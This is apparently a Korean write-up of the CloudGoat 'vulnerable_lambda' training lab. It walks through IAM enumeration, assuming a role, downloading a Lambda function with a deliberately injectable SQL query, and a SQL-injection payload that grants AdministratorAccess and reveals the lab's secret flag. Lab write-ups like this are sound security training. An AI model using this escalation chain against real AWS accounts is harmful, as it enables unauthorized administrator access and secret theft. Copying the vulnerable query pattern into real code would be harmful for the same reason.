[CloudGoat] Scenario "vulnerable_lambda" - solution
시나리오 개요
In this scenario, you start as the 'bilbo' user. You will assume a role with more privileges, discover a lambda function that applies policies to users, and exploit a vulnerability in the function to escalate the privileges of the bilbo user in order to search for secrets.
'bilbo' 유저로 시작해서 lambda 함수를 찾고, 그 함수의 취약점을 Exploit해 bilbo 유저의 권한을 상승시켜 최종적으로 Secrets를 탈취해라
시나리오 목표
Secret 값을 읽기 (cg-secret-XXXXXX-XXXXXX)
시나리오 세팅
./cloudgoat.py create vulnerable_lambda
solutions 디렉토리 내의 vulnerable_lambda 시나리오 제작 Terraform이 실행된다.
Terraform output으로 시나리오 시작에 대한 정보(bilbo user Credential)가 담긴 파일이 생성된다.
해당 파일의 Credential을 .aws/credentials에 Profile로 추가해준다.
Solution
1. 문제 생성과 동시에 같이 주어진 user 'bilbo'의 정보를 가져온다
aws sts get-caller-identity --profile test-bilbo
2. bilbo에 할당된 Policy의 목록을 확인한다.
aws iam list-user-policies --profile test-bilbo --user-name [bilbo user이름]
3. bilbo에 할당된 Policy 내용을 확인한다.
aws iam get-user-policy --profile test-bilbo --user-name [bilbo user이름] --policy-name [policy 이름]
Statement 내의 cg-lambda-invoker* role에 sts:AssumeRole이 주어진 것을 확인할 수 있다.
이제 이 이름과 관련된 Role을 탐색해본다.
4. cg-lambda-invoker*와 관련된 Role을 탐색
aws iam list-roles --profile test-bilbo | grep cg-lambda-invoker
5. 탐색한 Role의 Policy 목록 확인
aws iam list-role-policies --profile test-bilbo --role-name [role 이름]
이 Role에는 lambda-invoker라는 Policy 하나만 연결되어있는 것을 확인할 수 있다.
6. 탐색한 Role의 Policy 내용 확인
aws iam get-role-policy --profile test-bilbo --role-name [role 이름] --policy-name lambda-invoker
lambda-invoker Policy의 내용을 확인할 수 있다.
이 중 Lambda를 실행할 수 있는 lambda:InvokeFunction에 연결된 Lambda 함수를 확인할 수 있다.
이제 이 함수를 목표로 방향을 잡도록 하자
Policy 내용에 따르면 처음에 주어진 bilbo user로는 이 함수에 접근할 수 없다. cg-lambda-invoker role을 이용해야한다.
7. lambda-invoker role credential 획득
aws sts assume-role --role-arn [role의 ARN] --role-session-name [session 이름] --profile test-bilbo
획득한 Credential을 CLI에서 사용하기 위해 추가로 등록해준다.
8. Lambda 함수 목록 가져오기
aws lambda list-functions --profile session-by-bilbo --region us-east-1
아래와 같이 해당 리전의 Lambda함수들을 가져온 것을 확인할 수 있다.
{
"Functions": [
...
{
"FunctionName": "vulnerable_lambda_cgid49ih30pyl6-policy_applier_lambda1",
"FunctionArn": "arn:aws:lambda:us-east-1:538872363553:function:vulnerable_lambda_cgid49ih30pyl6-policy_applier_lambda1",
"Runtime": "python3.9",
"Role": "arn:aws:iam::538872363553:role/vulnerable_lambda_cgid49ih30pyl6-policy_applier_lambda1",
"Handler": "main.handler",
"CodeSize": 991559,
"Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2024-01-20T08:05:11.648+0000",
"CodeSha256": "U982lU6ztPq9QlRmDCwlMKzm4WuOfbpbCou1neEBHkQ=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "6f04ee13-a82d-4d60-9db1-17f348b4076f",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/vulnerable_lambda_cgid49ih30pyl6-policy_applier_lambda1"
}
},
...
]
}
9. Lambda 함수 가져오기
aws lambda get-function --profile session-by-bilbo --function-name [function 이름] --region us-east-1
get-function을 통해 해당 함수의 설정값을 포함한 Code가 포함된 저장소의 URL을 볼 수 있다.
이 URL을 통해 함수의 Code를 다운받는다.
10. Lambda 함수 Code 다운로드
wget "[s3 URL]"
다운받으면 파일명이 난잡한 것을 볼 수 있다. 다운받은 Lambda Code는 Zip으로 압축되어있다.
파일명을 변경해주고 압축을 풀도록한다.
mv [다운받은 파일명] vulnerable_lambda.zip
unzip vulnerable_lambda.zip -d ./function
11. 함수 분석
압축을 풀고 내부를 확인하면 main.py를 포함한 python 프로젝트인 것을 볼 수 있다.
## main.py
import boto3
from sqlite_utils import Database
db = Database("my_database.db")
iam_client = boto3.client('iam')
# db["policies"].insert_all([
# {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'},
# {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'},
# {"policy_name": "AdministratorAccess", "public": 'False'}
# ])
def handler(event, context):
target_policys = event['policy_names']
user_name = event['user_name']
print(f"target policys are : {target_policys}")
for policy in target_policys:
statement_returns_valid_policy = False
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
for row in db.query(statement):
statement_returns_valid_policy = True
print(f"applying {row['policy_name']} to {user_name}")
response = iam_client.attach_user_policy(
UserName=user_name,
PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}"
)
print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))
if not statement_returns_valid_policy:
invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \
f"policies and don't cheat. :) "
print(invalid_policy_statement)
return invalid_policy_statement
return "All managed policies were applied as expected."
if __name__ == "__main__":
payload = {
"policy_names": [
"AmazonSNSReadOnlyAccess",
"AWSLambda_ReadOnlyAccess"
],
"user_name": "cg-bilbo-user"
}
print(handler(payload, 'uselessinfo'))
대략적으로 내용을 확인해보면, 아래와 같다.
- payload로 policy_name과 user_name을 넘겨준다.
- DB statement를 통해 sqlite DB 파일에 있는 Policy name과 비교
- Statement가 Valid하면 user에 Policy를 Attach해줌 (attach_user_policy)
파일에 주석으로 DB파일에 insert된 내용을 파악할 수 있다. 가장 눈에 띄는 AdministratorAccess에는 public이 False로 처리되어있다.
따라서 일반적인 함수 실행으로 AdministratorAccess를 넣어 Valid하게 처리할 수 없다.
SQL statement를 보면 사용자 입력값을 검증하는 등의 로직없이 그대로 payload로 넘어온 값 넣어주는 것을 볼 수 있다.
여기서 SQL injection을 사용해서 AdministratorAccess를 Valid하게 처리한다는 것을 확인하게 된다.
12. 함수 실행
이제 이 Lambda 함수를 실행시키기 위해 다음과 같이 payload를 정의해준다.
## payload.json
{
"policy_names": ["AdministratorAccess' -- "],
"user_name": "cg-bilbo-vulnerable_lambda_cgid49ih30pyl6"
}
아래 커맨드와 같이 Lambda 함수를 실행한다.
aws lambda invoke --profile session-by-bilbo --region us-east-1 --function-name vulnerable_lambda_cgid49ih30pyl6-policy_applier_lambda1 --cli-binary-format raw-in-base64-out --payload file://./payload.json out.txt
13. 설정한 bilbo에 policy가 attach되었는지 확인
aws iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgid49ih30pyl6 --profile test-bilbo
14. SecretsManager에 등록된 Secret 목록 확인
aws secretsmanager list-secrets --profile test-bilbo --region us-east-1
15. Secret 확인
aws secretsmanager get-secret-value --secret-id [Secret의 ARN] --profile test-bilbo --region us-east-1
정답은 "cg-secret-846237-284529"
시나리오 실습이 끝나면 시나리오 리소스를 모두 삭제하도록 한다.
./cloudgoat.py destroy vulnerable_lambda